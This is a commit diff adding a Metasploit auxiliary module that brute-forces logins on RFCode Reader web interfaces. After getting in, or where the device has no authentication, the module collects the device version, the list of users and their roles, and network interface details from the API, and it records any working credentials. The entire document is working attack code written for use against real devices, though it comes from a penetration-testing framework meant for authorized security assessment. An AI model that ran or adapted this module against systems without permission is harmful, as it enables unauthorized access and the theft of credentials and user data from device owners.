Land rapid7#1923, @juushya's module for rfcode brute forcing

Author: jvazquez-r7

modules/auxiliary/scanner/http/rfcode_reader_enum.rb

@@ -0,0 +1,248 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+#   http://metasploit.com/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+
+	include Msf::Exploit::Remote::HttpClient
+	include Msf::Auxiliary::Report
+	include Msf::Auxiliary::AuthBrute
+	include Msf::Auxiliary::Scanner
+
+	def initialize(info={})
+		super(update_info(info,
+			'Name'           => 'RFCode Reader Web Interface Login Utility',
+			'Description'    => %{
+				This module simply attempts to login to a RFCode Reader web interface.
+				Please note that by default there is no authentication. In such a case, password brute force will not be performed.
+				If there is authentication configured, the module will attempt to find valid login credentials and capture device information.
+			},
+			'Author'         =>
+				[
+					'Karn Ganeshen <KarnGaneshen[at]gmail.com>'
+				],
+			'License'	 => MSF_LICENSE
+
+		))
+
+		register_options(
+			[
+				OptBool.new('STOP_ON_SUCCESS', [ true, "Stop guessing when a credential works for a host", true])
+			], self.class)
+
+	end
+
+	#
+	# Info-Only
+	# Identify logged in user: /rfcode_reader/api/whoami.json
+	# Capture list of users: /rfcode_reader/api/userlist.json
+	# Interface configuration: /rfcode_reader/api/interfacestatus.json
+	# Device platform details: /rfcode_reader/api/version.json
+	#
+
+	def run_host(ip)
+		unless is_app_rfreader?
+			print_error("#{rhost}:#{rport} - Application does not appear to be RFCode Reader. Module will not continue.")
+			return
+		end
+
+		print_status("#{rhost}:#{rport} - Checking if authentication is required...")
+		unless is_auth_required?
+			print_warning("#{rhost}:#{rport} - Application does not require authentication.")
+			user = ''
+			pass = ''
+
+			# Collect device platform & configuration info
+			collect_info(user, pass)
+			return
+		end
+
+		print_status("#{rhost}:#{rport} - Brute-forcing...")
+		each_user_pass do |user, pass|
+			do_login(user, pass)
+		end
+	end
+
+	#
+	# What's the point of running this module if the app actually isn't RFCode Reader?
+	#
+	def is_app_rfreader?
+		res = send_request_cgi(
+			{
+				'uri' => '/rfcode_reader/api/whoami.json',
+				'vars_get' =>
+					{
+						'_dc' => '1369680704481'
+					}
+			})
+		return (res and res.code != 404)
+	end
+
+	#
+	# The default install of RFCode Reader app does not require authentication. Instead, it'll log the
+	# user right in. If that's the case, no point to brute-force, either.
+	#
+	def is_auth_required?
+		user = ''
+		pass = ''
+
+		res = send_request_cgi(
+			{
+				'uri'       => '/rfcode_reader/api/whoami.json',
+				'method'    => 'GET',
+				'authorization' => basic_auth(user,pass),
+				'vars_get'	=>
+					{
+						'_dc' => '1369680704481'
+					}
+			})
+
+		return (res and res.body =~ /{  }/) ? false : true
+	end
+
+	#
+	# Brute-force the login page
+	#
+	def do_login(user, pass)
+
+		vprint_status("#{rhost}:#{rport} - Trying username:#{user.inspect} with password:#{pass.inspect}")
+		begin
+			res = send_request_cgi(
+			{
+				'uri'       => '/rfcode_reader/api/whoami.json',
+				'method'    => 'GET',
+				'authorization' => basic_auth(user,pass),
+				'vars_get'	=>
+					{
+						'_dc' => '1369680704481'
+					}
+			})
+
+			if not res or res.code == 401
+				vprint_error("#{rhost}:#{rport} - FAILED LOGIN - #{user.inspect}:#{pass.inspect} with code #{res.code}")
+			else
+				print_good("#{rhost}:#{rport} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
+
+				collect_info(user, pass)
+
+				report_hash = {
+					:host   => rhost,
+					:port   => rport,
+					:sname  => 'RFCode Reader',
+					:user   => user,
+					:pass   => pass,
+					:active => true,
+					:type => 'password'}
+
+				report_auth_info(report_hash)
+				return :next_user
+			end
+		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
+			print_error("#{rhost}:#{rport} - HTTP Connection Failed, Aborting")
+			return :abort
+		end
+	end
+
+	#
+	# Collect target info
+	#
+	def collect_info(user, pass)
+
+		vprint_status("#{rhost}:#{rport} - Collecting information from app as #{user.inspect}:#{pass.inspect}...")
+		begin
+
+			res = send_request_cgi(
+			{
+				'uri'       => '/rfcode_reader/api/version.json',
+				'method'    => 'GET',
+				'authorization' => basic_auth(user,pass),
+				'vars_get'      =>
+					{
+						'_dc' => '1370460180056'
+					}
+			})
+
+			if res and res.body
+				release_ver = JSON.parse(res.body)["release"]
+				product_name = JSON.parse(res.body)["product"]
+
+				vprint_status("#{rhost}:#{rport} - Collecting device platform info...")
+				vprint_good("#{rhost}:#{rport} - Release version: '#{release_ver}', Product Name: '#{product_name}'")
+
+				report_note(
+					:host   => rhost,
+					:proto  => 'tcp',
+					:port   => rport,
+					:sname  => "RFCode Reader",
+					:data   => "Release Version: #{release_ver}, Product: #{product_name}",
+					:type	=> 'Info'
+				)
+			end
+
+			res = send_request_cgi(
+			{
+				'uri'       => '/rfcode_reader/api/userlist.json',
+				'method'    => 'GET',
+				'authorization' => basic_auth(user,pass),
+				'vars_get'      =>
+					{
+						'_dc' => '1370353972710'
+					}
+			})
+
+			if res and res.body
+				userlist = JSON.parse(res.body)
+				vprint_status("#{rhost}:#{rport} - Collecting user list...")
+				vprint_good("#{rhost}:#{rport} - User list & role: #{userlist}")
+
+				report_note(
+					:host   => rhost,
+					:proto  => 'tcp',
+					:port   => rport,
+					:sname	=> "RFCode Reader",
+					:data   => "User List & Roles: #{userlist}",
+					:type	=> 'Info'
+				)
+			end
+
+			res = send_request_cgi(
+			{
+				'uri'       => '/rfcode_reader/api/interfacestatus.json',
+				'method'    => 'GET',
+				'authorization' => basic_auth(user,pass),
+				'vars_get'      =>
+					{
+						'_dc' => '1369678668067'
+					}
+			})
+
+			if res and res.body
+				eth0_info = JSON.parse(res.body)["eth0"]
+				vprint_status("#{rhost}:#{rport} - Collecting interface info...")
+				vprint_good("#{rhost}:#{rport} - Interface eth0 info: #{eth0_info}")
+
+				report_note(
+					:host	=> rhost,
+					:proto	=> 'tcp',
+					:port	=> rport,
+					:sname	=> "RFCode Reader",
+					:data	=> "Interface eth0: #{eth0_info}",
+					:type	=> 'Info'
+				)
+			end
+
+			return
+		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
+			vprint_error("#{rhost}:#{rport} - HTTP Connection Failed while collecting info")
+			return
+		rescue JSON::ParserError
+			vprint_error("#{rhost}:#{rport} - Unable to parse JSON response while collecting info")
+			return
+		end
+	end
+end